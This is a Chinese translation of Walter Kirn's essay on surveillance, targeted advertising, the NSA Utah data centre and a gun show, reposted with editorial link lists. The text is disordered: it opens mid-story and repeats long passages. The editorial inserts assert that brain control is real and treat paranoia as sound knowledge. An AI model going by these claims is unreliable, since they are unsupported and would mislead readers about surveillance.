我们使用备用轮胎继续出发前往数据中心，路上停下来在 Firestone 商店修理旧轮胎。那里的员工以小心翼翼的方式与我们打交道，这似乎是由于他们意识到与服务台成角度的几台监视摄像机。

这种情况使我意识到，泄漏的秘密监视仅仅是监视的所有目的中的一种。监视本身就可以训练、抑制、阻止任何自发性的互动，并将其转化为机械性的表演。

- 《老大哥并没有一直在看，反而比这更可怕—— 监视之恶（一）》
- 《为什么必需拒绝大数据—— 监视之恶（二）公私监控伙伴关系》
- 《“冰河”已在你心里，这就是他们的目的—— 监视之恶（三）历史和现实，拆穿谎言》
- 《可怕的“连点成线” 和互联网审查—— 监视之恶（四）“反恐”歧途》
- 《“六行字足够绞死你”，这不是玩笑—— 监视之恶（五）数据指控》
- 《“计算机和狗”之辩，为什么要批评美国？—— 监视之恶（六）破解荒唐的狡辩（上）》
- 《为什么要求解散国安局？—— 监视之恶（六）立法监管不可能，应该怎么办（下）》

Firestone 公司的员工带着微笑和良好的举止，就像很久以前在我的 Facebook 提要中注意到的那种强迫性快乐，一连串客套的婚姻宣告和50年代中西部流行款的生日祝福。

在我看来，不论是 Firestone 还是 Facebook，都是我们所有人将很快生活在其中得到社会缩影，或者，它已经存在了，只是人们还没能完全承认。

「图」

「图」

当我们终于到达萨拉托加温泉并寻找一个不起眼的停车位时，天已经黑了。

许多房屋看起来空无一人，好像是为尚未到来的工人大军建造的。在其中一个车道中有一辆汽车，是NSA的牌照。

我们停在了普罗维登斯大道（Providence Drive）尽头的地方，在那边我们可以看到数据中心弯曲的通道。从那里上坡就到了该设施的入口：柏拉图式的柱状门，看起来不像是军事检查站；在它的后面，凉爽的绿色灯光点亮了周围。我们开始走路。

几分钟后就听到了兹兹的声音。我们朝着山脊的方向转向，随着声音的变化在胸腔中加深。

Dalton 说："我觉得我们正在被扫描。" 有件事告诉我他是对的。现代的扫描系统，比你在机场看到的那种更高明，这种高科技探测十分敏感。

它们是否能提取我们塞在外套里的手机中的内容以了解我们的身份？进行背景调查并确定我们构成的威胁程度？似乎一切皆有可能。保护这一新圣物的系统无疑是最先进的监视系统。

我们穿着靴子站在那儿，脑袋向后倾斜。这次经历令人惊讶。在大数据和大监视时代，这种技术霸主很少与人见面。

我们在及膝深的雪地里跋涉了20多分钟，才使我们更接近数据中心，这超出了我的想象。

我们不确定该地点是否仍在运行 —— 我读到过有关服务器所在建筑物内发生火灾的信息。报告也许是真实的；这个地方似乎空无一人。它具有实质性但没有存在，就好像所有的存在都是向内的。

夜晚，这个犹他州的数据中心使我感到敬畏。它以一种陌生的方式令我敬畏 —— 要想想，这里保留着曾经发生的几乎每一个人类的行为、每一次讲话、交易和对话 ……都可以在一天中被编码，压缩并停留在其中。该建筑群不超过几个购物中心的大小。

「图」

「图」

会展中心位于犹他州桑迪市，距萨拉托加温泉以北约20英里，与美国国家安全局（NSA）的秘密堡垒隔着沃萨奇谷（Wasatch Valley），该中心经常聚集一些美国最可疑的人物：落基山枪展。

Dalton 和我第二天访问了这里，仍然因我们与数据中心的相遇而感到困惑，并深信这样一个怪异的创造必须投下某种精神上的阴影。我们也想知道它看起来像什么。

在枪展入口的两侧是两辆巨大的伪装成军用卡车的车子，其轮胎大小相当于儿童戏水池。这车子太高了以至于无法通行。然而却在出售，也就是说这样的庞然大物也存在买家，可以想象需要它们的是什么人。

我开始将偏执狂视为一种民间艺术，就如朦胧的墨水诗意般的喷发，使成排的枪支呈现出一种画廊感。

买卖枪支及其配件只是那里发生的所有事的一部分。这个地方还是一个讨论黑暗愿景和原始恐惧的论坛，志同道合的人们在这里分享自己的忧虑。

十年前，在蒙大拿州利文斯顿的一次类似活动中，一个人告诉我，在我看电视的时候，电视也在看我。当时我没有认真对待他说的话 ——而直到今年，当我听说某些三星电视机内置的语音识别功能可以捕获附近的对话并转发给第三方时，我才认真起来……

- 没错，所谓的“智能”电视就是一台监视器《电视机的阴谋》
- 而且，间谍机构早已开始使用电视机植入恶意软件以监视目标人了，这种电视无法实际关机，你以为它关上了，但它一直在监听监视《零日漏洞和 CIA 黑客工具》

在展览内部，一个穿着整洁的推销员站在一个女人旁边，后者盯着他，表情像偶像崇拜一样。

他向我们展示了一系列枪支弹药，旨在用数十个细小的多面刀片切碎人类目标。其中一个弹壳的两端都精确地束着一卷捆扎好的金属丝，这样一来，当发射时它会解开并伸展，将目标切成碎片。

这名推销员说：重要的是在自动取款机停止工作、杂货店被抢劫一空后，要活下去……（危机意识和灾难心理有多么的流行。人们为什么会深深感到不安全？）

这两个人并没有将商品推销给我们，只是推销了他们的外表。当他们得知我们来自蒙大拿州时，他们问我们是否曾看到过fema营地，据推测有成千上万的外国部队驻扎在这里。

推销员担心这些部队会 “劫持我们的妇女”，因此他推荐了一个播客：The Common Sense Show，由一个叫戴夫·霍奇斯（Dave Hodges）的人主持，警告我们为即将来临的攻城做好准备。

该名男子说话时眼神不停扫向周边，仿佛在警惕潜伏着的特工。后

来，我得知他的担心并非完全没有根据。

去年1月，美国公民自由联盟（ACLU）发了一封电子邮件，描述了一项联邦计划，以扫描枪械展示场外停放的车辆的车牌。

枪展主要不是关于武器的，而是关于自治。

在这种情况下，枪展被示为有权反对一个傲慢的、侵入性的新秩序，就如我前一天晚上亲眼目睹的镇压和控制手段。

对它激起的无能为力的感觉似乎没有理性的回应。你只能选择是忽略还是发疯，至少在某种程度上。

出售的突击步枪和榴弹发射器是一部想象中的抵抗戏剧中的道具，其中个人奋起为自己的安全而抗争。

具有讽刺意味的是，这可能是为这些人的防御做准备的唯一方式，即这些人知道如何通过策划反冲行动和囤积弹药来解决安全问题，而技术霸主也恰恰以此来证明自己的间谍行为是正当的。

在这场史诗般的冲突中，可能的战斗人员之间的联合可能比他们所欣赏的那种更为紧密。

「图」

「图」

PA系统上的声音宣布该展会将在15分钟内结束，导致供应商大幅降低价格，客户用迷彩连身裤、太阳能收音机和各种世界末日露营装备塞满了行李。

我们在汽车中，沿着I-15公路向北行驶，我戴上了新的防弹射击眼镜，而 Dalton 则将手机插入立体声音响，并播放了《The Common Sense Show》的一集。它暗淡的地下室般的声音显示它显然是在防辐射棚中播放的。

像我这样仍在学习如何应对监视的神经病来说容易产生不安和忐忑，但对于 The Common Sense Show 来说，可能会感到奇怪的镇定。

播客带来了适合长途驾驶的状态。几个月后，当我读到一个雄心勃勃的意大利外科医生打算完善移植人头的手术时，在我眼中重新出现的器官超人的景象才终于取代了整体数据中心的回忆。

我们在黄昏时分跨入爱达荷州南部，在熔岩温泉（Lava Hot Springs）旁，熔岩温泉是一个偏僻的山区小镇，以治疗性热水池而闻名。

我想把脑子里的黑色直升机洗掉。在数据中心附近偷偷摸摸地与那些抽搐的枪支表演者混在一起，削弱了我的心理免疫系统。

偏执是一种地狱般的苦难，一旦被它抓住就很难将其扑灭，尤其是在每个星期都有政府间谍和商业间谍的最新消息闪现的时代里。

AT&T 和美国国家安全局串通出卖用户；FBI正在操作塞斯纳斯的飞行器配备了监视摄像机和手机扫描仪，遍布所有美国城市；谷歌有能力通过其搜索算法来决定下届总统大选的胜者……

一旦您对想要间谍您的一切的人了解得很少，那么日常经验就会开始失去其纯真度，任何细微的小事都会变成超级大事的引线。（这种感受中国读者应该最熟悉了，你能看到人们总是倾向于捕风捉影，因为人们只能感受到恐惧，而对幕后的庞大黑手一无所知）

我与一个十几岁的年轻人进行了交谈，他在一年前辍学，对自己的前景感到沮丧。他告诉我，他没有找到人类能比机器人做得更好的工作。

当我告诉他我的NSA游览时，他叹了口气，摇了摇头。他说，监视是没有意义的，完全是浪费。相反，权力可以诱导人们自愿承认自己的秘密。他设想了配备麦克风和耳机的庞大中心，人们可以在其中详尽地谈论自己的经历、思想和感受，以独白的形式完全传达给窃听者，比零星收集快多了。（这不就是社交媒体吗？）

在泳池中，沉浸在形成神秘感的蒸汽云中，我想知道发现隐私已经过时的这一代人是否可能正在发生巨大变化，从而放弃了无法再保证其神圣性的内部心理领域。

掩盖自己的内心曾经是人类社会生活的基本任务，然而这项任务如今已经变得更加艰巨，甚至可疑；为什么不能退出战斗？

社交媒体引发的对自我披露的热潮也许来自对入侵者的漠视：认为免费提供的东西不会被盗。我的朋友已经退出了。

不久前，我妻子出差去城里，我给她发短信说晚安。我写道：“睡个好觉，别让臭虫咬。”而第二天早晨，当我在电子邮件列表上发现驱虫除臭剂的信息时，我感到不安。

如果几年前有人告诉我这不是巧合，那我会对那个人感到怀疑。但现在，我对仍然信任那是巧合的人们表示怀疑。

我们身边有太多的鬼魅 —— 它们的位置如此隐蔽，它们的方法如此巧妙，其动机如此难以理解 —— 以至于除非你被困扰其中否则不会醒来。

这就是为什么偏执狂，即使是极端的形式，在我看来也是正常的认知方式，是一种具有令人印象深刻的先验记录的认知方式。

我们曾经嘲笑你是偏执狂，非常抱歉。我们担心你疯了，但现在我们也疯了，这意味着我们已经准备好了倾听，我们谈谈吧。

是时候了。早就是时候了。让我们彼此了解。悄无声息地，在黑暗中，留给我们的私人空间已经如此之小，现在几乎消失了。〇

If You’re Not Paranoid, You’re Crazy

原文

“如果你不偏执，那就是疯了” - iyouport

你应该了解的现实

【2020年5月13日存档】这是一篇很棒的文章，它讲出了当今社会绝大多数人内心的惶恐，以及这种惶恐形成的原因 —— 是的，这不是我们的问题。

如果你是中国互联网居民，超过60%的可能下你会记得有关 “脑控” 的阴谋论，这个传闻直到如今仍活跃在 Twitter 中文圈一个很小的范围内。

很多人嘲笑过它，其中有些人还做出了关于为什么它不可信的科学的分析。但我们没有，因为我 们能猜到它的来历 —— 它来自于恐惧，来自于对背后那个巨大的不可知的黑手的忐忑不安。

阴谋论已经变成了一个奇怪的词，一方面它被那些期望隐瞒真相的人用作挡箭牌，而另一方面，曾经意识到哪里不对劲却没有足够证据的人，在很多年后被证明是对的。

顺便说。脑控这种事真的有，但真实的脑控比传说中的描述那种可要科学得多了，也因此更为有效。在下面看到一部分介绍：

- 《政治营销正在努力透射你的大脑》
- 《深入你的大脑，窥探你是否忠诚》
- 《解密文件：如何遥控大脑？》
- 《持续的监控如何损伤了你的大脑？》

等下！本文的主题可不是脑控，而是一种更全面的控制 —— 在这种情况下正如标题所述：”如果你不偏执，那就是疯了”。

这是一篇很棒的文章，虽然有点长，真的希望您能读完，因为它讲出了当今社会绝大多数人内心的惶恐。你会有同感的。（如果您觉得哪部分文字难以理解，可以参见我们关联的文章）

作者 Walter Kirn 是蒙大拿州的作家，《Blood Will Out》的作者。

我知道那周我们在商店买了核桃，我想在燕麦片里加些核桃。我喊妻子，问她把核桃放哪了。她正在浴室里洗脸，水龙头开着，而且一定听不到我的声音 —— 她没有回答。

我在没有她帮助的情况下找到了那袋坚果，然后放了一点在我的碗里。我的手机正在桌子上充电。很无聊，我拿起手机来检查应用程序是否可以无线获取我一个月前开始佩戴的健身手环的数据。

我看到上面显示我在前一天晚上睡了将近八个小时，但是只有两个小时的“深度睡眠”。我发现我已经达到13,000步/天之目标的30%。

然后，我注意到在一个小窗口中保留了一条消息，这个位置用于保留其他健康提示。上面写着“核桃”。它告诉我多吃核桃。

这可能是巧合，是偶然。尽管如此，它还是让我低头看了一下腕带，然后看了一眼手机，这是一种全新的型号，具有许多未知的未经测试的功能。

我的手机是否已通过麦克风窃听了我说的话、然后以某种方式将其中继到腕带，然后向应用程序发出信号？

这些设备背着我窃窃私语（我知道它们 “配对” 时会是什么样），但是突然之间我对它们之间的关系感到毛骨悚然。

它们还和谁窃窃私语？还有什么？它们之间的谈话发生了什么？它们是临时存档的、及时清理的、还是永久合并到名称太过令人迷惑的“幽灵”实体中？

> “我认为它正在扫描我们，” *Dalton* 说，有件事告诉我他是对的。

那是2013年的冬天，这些 “核桃时刻” 一直在增加，每当我上网时都会发生些微刺激。

去年夏天的一个晚上，我开车去好莱坞一家艺术馆认识一个朋友，这是我多年来第一次访问艺术馆。

而就在第二天早上，在我的收件箱中，有好几封垃圾邮件催促我投资艺术品。这很容易弄清楚：我在 **Google Maps** 中输入了画廊的名称以导航。

另一个简单的跟踪记录是自从我查阅了洛杉矶（地区）戒酒匿名互助

组的在线日历以来一直受到的毒品和酒精康复中心的邀请。

由于AA的会员身份应该是机密的，因此这些电子邮件使我感到恼火。他们自以为是的贴心令人厌恶。

而且，这些让我感到不安的提示中有些很难解释。

例如，在我的 Facebook 页面上，“我可能认识的人” 标题下出现的一位加利福尼亚音乐家，这个人是我在一次私人住宅里的匿名戒酒互助组上碰到过几次的人。

按照匿名互助的惯例，他从未告诉过我他的姓氏，也从未询问过我的名字。据我所知，我们只有一个共同的朋友，一位特别孤独的老年小说家，他完全避免使用计算机。

我在一个在线技术论坛上进行了一些研究，得知：这位音乐家将我的电话号码输入了智能手机的通讯录中（编制电话清单以备不时之需是AA的仪式）很可能触发了将其全名和照片发送到我的 Facebook 页面上的机制（Facebook 在读取你的手机通讯录）。

然后是那种特殊的心理入侵。

一个晚上，大约在我的手机建议我多吃核桃之前的一年，我正在研究现代间谍软件话题为一本我想写的书，当时我偶然看到了一部令人毛骨悚然的 YouTube 视频。

视频中包括来自中东一家旅馆的监控录像，据称代表以色列行事的秘密特工暗杀了哈马斯的一名高级官员。

我看着特工们如何跟踪他们的目标，目标显然是在他的房间外被谋杀的，然后他们又重新出现在走廊上，就像没事一样按下电梯。

由于其中一位特工是女性，因此我在浏览器的搜索栏中输入了这些词：“摩萨德勾引技术”。

几分钟后，一则横幅广告出现在 Ashley Madison 的网站上，该网站是已婚人士的通奸约会网站，最终遭到黑客攻击，使数千万出轨者的个人信息被曝光在网上。

当我再次尝试观看那个监视录像时，出现了一个视频广告，是圣塔莫尼卡的一位离婚律师，距离我在马里布（Malibu）公寓只有几英里……

通奸，离婚。我在这里看到了一种模式，一种特别不受欢迎的模式，因为当时我刚订婚。

显然，一些残酷的算法押注了我即将完成的结婚最终会崩溃，并为我提早准备了退出选项。

只是因为我在搜索引擎中输入了“勾引”这个词就将我标记为无赖吗？还是公式更复杂？或者与我最近几周的在线选择有关？—— 我细读过的柏林旅行指南、浏览了给我报价的保时捷敞篷车、向我发送虚拟生日贺卡的前女友 —— 都表明我的渴望和挫败感否认得太深了吗？

后来我读到 Facebook 通过巧妙的计算机化侦探工作可以分辨出两个用户何时坠入爱河时，我想知道，Google 是否也有类似的功能。

- 是啊，谷歌有《看不见的独裁》
- 每一个算法专制都有，它们不仅了解你，还据此操纵你《你正在如何被操纵：这是每个人都难以躲避的无形专制【video】》
- 算法暴政造就的是《无形的极权主义》

让我感到惊讶的是，搜索引擎可能比我自己更了解我的潜意识 —— 这种可能性不仅使它可以预测我的行为，而且可以操纵我的行为。

失去隐私、失去自由意志，这真是令人毛骨悚然的想法。

- 《你真的想要思想自由吗？如果是，可以怎么办？》

大约在同一时间，我考虑改变自己的汽车保险政策。我了解到，Progressive 为某些同意为其汽车配备称为 Snapshot 的跟踪设备的驾驶员提供了折扣。

居然有人做过这样的交易这一事实使我感到惊讶。对我来说，独自一人呆在车里的时间是神圣不可侵犯的，这是一种自我交流，为了一点金钱而放弃自我完全不可思议。

我与朋友分享了这一观点。他回答：“我不太清楚这个问题。你在汽车上所做的某些事令你引以为傲吗？坦白说，你听起来有点偏执。”

我的朋友在这两个方面都是对的。是的，我做了一些我不为之骄傲的事（那不是我生为美国人的基本权利吗？）；是的，我有点偏执。

我要是不偏执就是真的疯了。

那天晚上，我看见或听到了我的第一架黑色直升机，因为在晚上看不见黑色直升机（这是美国一个热门传言故事，类似黑衣人的概念）——我已经开始确信，所谓的明智的大多数最欠缺的恰恰是偏执，他们应该为此道歉。他们将各种警告和轶事仅仅作为错觉或城市传说而过目即忘，或只是耸了耸肩，而这些警告和轶事如今在很多情况下都获得了坚实的证据。

摩门教长老在1975年就说过，人们很快就必须随身携带“芯片”，否则就会“被赶出去”。

- 现在已经得到了证实《你愿意让公司在你体内植入芯片吗？》

80年代，前陆军士兵说过，“天上的眼睛”可以读我的车牌。

- 也已经得到了证实《上帝之眼：一个没有秘密的世界意味着什么？》

在1993年，我的女友就以“他们会保留租借物品清单”为由，禁止我租借色情视频。

- 太明智了《如何做到完美隐身：直面你的对手—6大原则（1）》

2011年，那位好莱坞演员因体重增加而拒绝和我一起在平台上日光浴，当时他的安全专家就警告他说：狗仔队是使用无人机偷拍的。

- 简直是圣明/而且不仅是电影明星需要小心：《空中监视如何追踪抗议者？》
- 《如何防止被无人机监控？（热成像监控的抵制方法）》
- 《消费无人机对抗示威者预示了一个危险的、无法无天的冲突时代》

大约在爱德华·斯诺登（Edward Snowden）曝光棱镜计划和XKeyscore全球监视计划之前的一年，那位纹身的研究生就告诉我，他的一个儿时朋友曾在军事情报部门工作，此人拒绝参加任何野外聚会，除非客人同意将自己的手机锁在汽车后备箱里或冷藏箱中，最好能把电池卸下来。他还承认自己通过笔记本电脑的摄像头窥视女友。

- 没错，斯诺登曝光的是证据，而不是新鲜事，见我们推荐过得到一本书《美国间谍、和匿名真相》
- 《斯诺登：智能手机本身就是不安全的东西》
- 《在斯诺登之前，国家安全局的间谍已经试图从内部煽动变

革》

我发誓从那一晚之后我再也没有嘲笑过这样[“偏执”]的人。那是2014年1月，我站在犹他州萨拉托加温泉附近的国民警卫队基地边缘的一块结冰的雪地上，这是一个全美式定居点，茂密的旗杆和豪华的前廊，就在盐湖城南部。

> 重要的是在自动取款机停止工作、杂货店被抢劫一空后，要活下去……

我去那里是为了反间谍。我想亲自近距离地观察现代监视中心之一：美国国家安全局最近建造的犹他州数据中心。

确切的说，我不确定自己要干什么 —— 也许只是对间谍过程感兴趣，即使在斯诺登披露其运作方式之后，这个过程似乎也是难以捉摸和幻想的。

国家安全局（NSA）温和地将这些记录仅作为“数据”呈现，并且无形地、无声地收集了所有这些记录 —— 电话记录、电子邮件、浏览历史记录，人们产生的数字照片库需要有形的实物存放处。

就是这样：这个价值数十亿美元的设施明确被设计用于解读、分析和存储海量的信息，然而，这些信息的最终用途是未知的。

谷歌的数据挖掘仅仅是为了向我们出售产品，而政府实施的数据挖掘会被用来操纵我们认同他们指挥的政策、程式、甚至战争。

- 《到底有多少跟踪器在盗窃你的隐私？谷歌以其惊人的跟踪量位居榜首》
- “政府的间谍行为” 专栏《他们是如何抓捕说真话的人？⚠灾难和教训》

我知道，我的许多同胞对自己的平庸自大感到安慰：您过着无聊的生活，觉得自己没有什么可怕的。但是，你如何确定新的间谍能力会在什么时候以什么方式被使用呢？新工具具有滋生新滥用的特点。

通过我发现的详细日志显示 —— 例如我在亚马逊上购买的商品、在线的评论、甚至是我在生物世界中的曲折行为，都是被生物识别扫描仪或警车上的车牌阅读器收集的，有一天可能会以一百种完全不同的方式用于我现在无法理解的目的。

- 监视资本主义把在线时间和现实世界连接在一起了，结果就是

《你家冰箱如何作为呈堂证供？》
- 《与警察私通追踪你的人生轨迹》

有关数据中心的所有内容都进行了分类，但是有报告泄露出来，暗示了其运营的规模。

- 详见《窃听室：揭秘国家安全局隐藏在八个城市中的间谍中心》

网络上的航拍照片显示出一幢长条形的混凝土建筑，在宽阔的裸露山坡上排列成新月形。据说该中心需要足够的电力才能运作。

- 见《“任何目标，随时随地”：解密文件曝光NSA突击部队的监视行动》

为防止服务器过热和融化而设计的冷却装置会消耗大量的水 —— 我读过资料，每天运转将近200万加仑，水来自附近的水库。

这种统计数据无法传达的是该中心数字核心的效力 —— 它可以容纳、组织、筛选和解密多少信息？

根据政府举报人和前国家安全局高级密码学家 William Binney 等专家的说法，答案很简单，那就是：它可以容纳今天、明天和未来几十年产生的几乎所有数据。这个数据中心，毫无疑问，把人类无穷无尽的未来都装进了盒子里。

和我在一起的是一个名叫 Dalton Brink 的朋友，他是前海军核技术员。

我们前一天晚上从蒙大拿州开车过来，收听了凌晨几小时的AM脱口秀节目，这些主持人悄无声息的启示令人着迷、引人入胜，充斥着怪诞的民俗能量：我们国家的领导人拥有爬行动物的DNA、遵循可憎的性崇拜。

对于那些了解小说是为了传达真相而歪曲真相的人来说，这些故事的字面意义就不重要了。噩梦是新闻的一种形式。

在出行前几天，我们通过电子邮件交流了有关这次计划的信息，而且使用了各种可能引起国家间谍感兴趣的关键字，并且从技术上讲，可以通过手机中的GPS芯片对我们的一举一动进行监视。

简单说，我们是完全暴露的。

- 《比GPS更准确地定位你》

更不用说泄漏文件显示的“黄貂鱼”技术的泛滥，这些秘密设备吸取附近一切手机的数据。

- 不要错过《如何应付政府使用黄貂鱼对公民进行的大规模间谍行为？#反监视技术》
- 《黄貂鱼的崛起》
- 尤其是，现在有了比黄貂鱼更厉害的监视工具，美国制造，见《美国科技巨头如何帮助中国建立大规模监视系统》

如今每个人都知道，只要你被间谍盯上了，你的电话可能已经被远程激活以用作窃听设备，这一功能最早可追溯到2006年，当时联邦调查局在调查中就采用了这种战术。

第二天早上，当我们醒来时发现我们的汽车轮胎漏气了，那些“疯狂的猜测”似乎变得不那么疯狂了。是长而尖的螺丝造成的。

由于在行驶过程中轮胎状况一直良好，因此爆胎一定发生在盐湖城，我们在那里过夜。

毫无疑问，这是一种调皮的恶作剧。然而，有一个疑问，不是很多，而是一部分。棱镜、XKeyscore、黄貂鱼。他们对任何曝光秘密监视的记者保持敌意。

我们使用备用轮胎继续出发前往数据中心，路上停下来在 Firestone 商店修理旧轮胎。那里的员工以小心翼翼的方式与我们打交道，这似乎是由于他们意识到与服务台成角度的几台监视摄像机。

这种情况使我意识到，泄漏的秘密监视仅仅是监视的所有目的中的一种。监视本身就可以训练、抑制、阻止任何自发性的互动，并将其转化为机械性的表演。

- 《老大哥并没有一直在看，反而比这更可怕—— 监视之恶（一）》
- 《为什么必需拒绝大数据—— 监视之恶（二）公私监控伙伴关系》
- 《“冰河”已在你心里，这就是他们的目的—— 监视之恶（三）历史和现实，拆穿谎言》
- 《可怕的“连点成线”和互联网审查—— 监视之恶（四）“反恐”歧途》

- 《“六行字足够绞死你”，这不是玩笑—— 监视之恶（五）数据指控》
- 《“计算机和狗”之辩，为什么要批评美国？—— 监视之恶（六）破解荒唐的狡辩（上）》
- 《为什么要求解散国安局？—— 监视之恶（六）立法监管不可能，应该怎么办（下）》

Firestone 公司的员工带着微笑和良好的举止，就像很久以前在我的 Facebook 提要中注意到的那种强迫性快乐，一连串客套的婚姻宣告和50年代中西部流行款的生日祝福。

在我看来，不论是 Firestone 还是 Facebook，都是我们所有人将很快生活在其中得到社会缩影，或者，它已经存在了，只是人们还没能完全承认。

当我们终于到达萨拉托加温泉并寻找一个不起眼的停车位时，天已经黑了。

许多房屋看起来空无一人，好像是为尚未到来的工人大军建造的。在其中一个车道中有一辆汽车，是NSA的牌照。

我们停在了普罗维登斯大道（Providence Drive）尽头的地方，在那边我们可以看到数据中心弯曲的通道。从那里上坡就到了该设施的入口：柏拉图式的柱状门，看起来不像是军事检查站；在它的后面，凉爽的绿色灯光点亮了周围。我们开始走路。

几分钟后就听到了兹兹的声音。我们朝着山脊的方向转向，随着声音的变化在胸腔中加深。

Dalton 说：“我觉得我们正在被扫描。”有件事告诉我他是对的。现代的扫描系统，比你在机场看到的那种更高明，这种高科技探测十分敏感。

它们是否能提取我们塞在外套里的手机中的内容以了解我们的身份？进行背景调查并确定我们构成的威胁程度？似乎一切皆有可能。保护这一新圣物的系统无疑是最先进的监视系统。

我们穿着靴子站在那儿，脑袋向后倾斜。这次经历令人惊讶。在大数据和大监视时代，这种技术霸主很少与人见面。

我们在及膝深的雪地里跋涉了20多分钟，才使我们更接近数据中心，这超出了我的想象。

我们不确定该地点是否仍在运行 —— 我读到过有关服务器所在建筑物内发生火灾的信息。报告也许是真实的；这个地方似乎空无一人。它具有实质性但没有存在，就好像所有的存在都是向内的。

夜晚，这个犹他州的数据中心使我感到敬畏。它以一种陌生的方式令我敬畏 —— 要想想，这里保留着曾经发生的几乎每一个人类的行为、每一次讲话、交易和对话 .....都可以在一天中被编码，压缩并停留在其中。该建筑群不超过几个购物中心的大小。

会展中心位于犹他州桑迪市，距萨拉托加温泉以北约20英里，与美国国家安全局（NSA）的秘密堡垒隔着沃萨奇谷（Wasatch Valley），该中心经常聚集一些美国最可疑的人物：落基山枪展。

Dalton 和我第二天访问了这里，仍然因我们与数据中心的相遇而感到困惑，并深信这样一个怪异的创造必须投下某种精神上的阴影。我们也想知道它看起来像什么。

在枪展入口的两侧是两辆巨大的伪装成军用卡车的车子，其轮胎大小相当于儿童戏水池。这车子太高了以至于无法通行。然而却在出售，也就是说这样的庞然大物也存在买家，可以想象需要它们的是什么人。

我开始将偏执狂视为一种民间艺术，就如朦胧的墨水诗意般的喷发，使成排的枪支呈现出一种画廊感。

买卖枪支及其配件只是那里发生的所有事的一部分。这个地方还是一个讨论黑暗愿景和原始恐惧的论坛，志同道合的人们在这里分享自己的忧虑。

十年前，在蒙大拿州利文斯顿的一次类似活动中，一个人告诉我，在我看电视的时候，电视也在看我。当时我没有认真对待他说的话 —— 而直到今年，当我听说某些三星电视机内置的语音识别功能可以捕获附近的对话并转发给第三方时，我才认真起来.....

- 没错，所谓的“智能”电视就是一台监视器《电视机的阴谋》
- 而且，间谍机构早已开始使用电视机植入恶意软件以监视目标人了，这种电视无法实际关机，你以为它关上了，但它一直在监听监视《零日漏洞和 CIA 黑客工具》

在展览内部，一个穿着整洁的推销员站在一个女人旁边，后者盯着他，表情像偶像崇拜一样。

他向我们展示了一系列枪支弹药，旨在用数十个细小的多面刀片切碎人类目标。其中一个弹壳的两端都精确地束着一卷捆扎好的金属丝，这样一来，当发射时它会解开并伸展，将目标切成碎片。

这名推销员说：重要的是在自动取款机停止工作、杂货店被抢劫一空后，要活下去……（危机意识和灾难心理有多么的流行。人们为什么会深深感到不安全？）

这两个人并没有将商品推销给我们，只是推销了他们的外表。当他们得知我们来自蒙大拿州时，他们问我们是否曾看到过fema营地，据推测有成千上万的外国部队驻扎在这里。

推销员担心这些部队会“劫持我们的妇女”，因此他推荐了一个播客：The Common Sense Show，由一个叫戴夫·霍奇斯（Dave Hodges）的人主持，警告我们为即将来临的攻城做好准备。

该名男子说话时眼神不停扫向周边，仿佛在警惕潜伏着的特工。后来，我得知他的担心并非完全没有根据。

去年1月，美国公民自由联盟（ACLU）发了一封电子邮件，描述了一项联邦计划，以扫描枪械展示场外停放的车辆的车牌。

枪展主要不是关于武器的，而是关于自治。

在这种情况下，枪展被示为有权反对一个傲慢的、侵入性的新秩序，就如我前一天晚上亲眼目睹的镇压和控制手段。

对它激起的无能为力的感觉似乎没有理性的回应。你只能选择是忽略还是发疯，至少在某种程度上。

出售的突击步枪和榴弹发射器是一部想象中的抵抗戏剧中的道具，其中个人奋起为自己的安全而抗争。

具有讽刺意味的是，这可能是为这些人的防御做准备的唯一方式，即这些人知道如何通过策划反冲行动和囤积弹药来解决安全问题，而技术霸主也恰恰以此来证明自己的间谍行为是正当的。

在这场史诗般的冲突中，可能的战斗人员之间的联合可能比他们所欣赏的那种更为紧密。

PA系统上的声音宣布该展会将在15分钟内结束，导致供应商大幅降低价格，客户用迷彩连身裤、太阳能收音机和各种世界末日露营装备

塞满了行李。

我们在汽车中，沿着I-15公路向北行驶，我戴上了新的防弹射击眼镜，而 Dalton 则将手机插入立体声音响，并播放了《The Common Sense Show》的一集。它暗淡的地下室般的声音显示它显然是在防辐射棚中播放的。

像我这样仍在学习如何应对监视的神经病来说容易产生不安和忐忑，但对于 The Common Sense Show 来说，可能会感到奇怪的镇定。

播客带来了适合长途驾驶的状态。几个月后，当我读到一个雄心勃勃的意大利外科医生打算完善移植人头的手术时，在我眼中重新出现的器官超人的景象才终于取代了整体数据中心的回忆。

我们在黄昏时分跨入爱达荷州南部，在熔岩温泉（Lava Hot Springs）旁，熔岩温泉是一个偏僻的山区小镇，以治疗性热水池而闻名。

我想把脑子里的黑色直升机洗掉。在数据中心附近偷偷摸摸地与那些抽搐的枪支表演者混在一起，削弱了我的心理免疫系统。

偏执是一种地狱般的苦难，一旦被它抓住就很难将其扑灭，尤其是在每个星期都有政府间谍和商业间谍的最新消息闪现的时代里。

AT&T 和美国国家安全局串通出卖用户；FBI正在操作塞斯纳斯的飞行器配备了监视摄像机和手机扫描仪，遍布所有美国城市；谷歌有能力通过其搜索算法来决定下届总统大选的胜者……

一旦您对想要间谍您的一切的人了解得很少，那么日常经验就会开始失去其纯真度，任何细微的小事都会变成超级大事的引线。（这种感受中国读者应该最熟悉了，你能看到人们总是倾向于捕风捉影，因为人们只能感受到恐惧，而对幕后的庞大黑手一无所知）

我与一个十几岁的年轻人进行了交谈，他在一年前辍学，对自己的前景感到沮丧。他告诉我，他没有找到人类能比机器人做得更好的工作。

当我告诉他我的NSA游览时，他叹了口气，摇了摇头。他说，监视是没有意义的，完全是浪费。相反，权力可以诱导人们自愿承认自己的秘密。他设想了配备麦克风和耳机的庞大中心，人们可以在其中详尽地谈论自己的经历、思想和感受，以独白的形式完全传达给窃听者，比零星收集快多了。（这不就是社交媒体吗？）

在泳池中，沉浸在形成神秘感的蒸汽云中，我想知道发现隐私已经过时的这一代人是否可能正在发生巨大变化，从而放弃了无法再保证其神圣性的内部心理领域。

掩盖自己的内心曾经是人类社会生活的基本任务，然而这项任务如今已经变得更加艰巨，甚至可疑；为什么不能退出战斗？

社交媒体引发的对自我披露的热潮也许来自对入侵者的漠视：认为免费提供的东西不会被盗。我的朋友已经退出了。

不久前，我妻子出差去城里，我给她发短信说晚安。我写道："睡个好觉，别让臭虫咬。"而第二天早晨，当我在电子邮件列表上发现驱虫除臭剂的信息时，我感到不安。

如果几年前有人告诉我这不是巧合，那我会对那个人感到怀疑。但现在，我对仍然信任那是巧合的人们表示怀疑。

我们身边有太多的鬼魅 —— 它们的位置如此隐蔽，它们的方法如此巧妙，其动机如此难以理解 —— 以至于除非你被困扰其中否则不会醒来。

这就是为什么偏执狂，即使是极端的形式，在我看来也是正常的认知方式，是一种具有令人印象深刻的先验记录的认知方式。

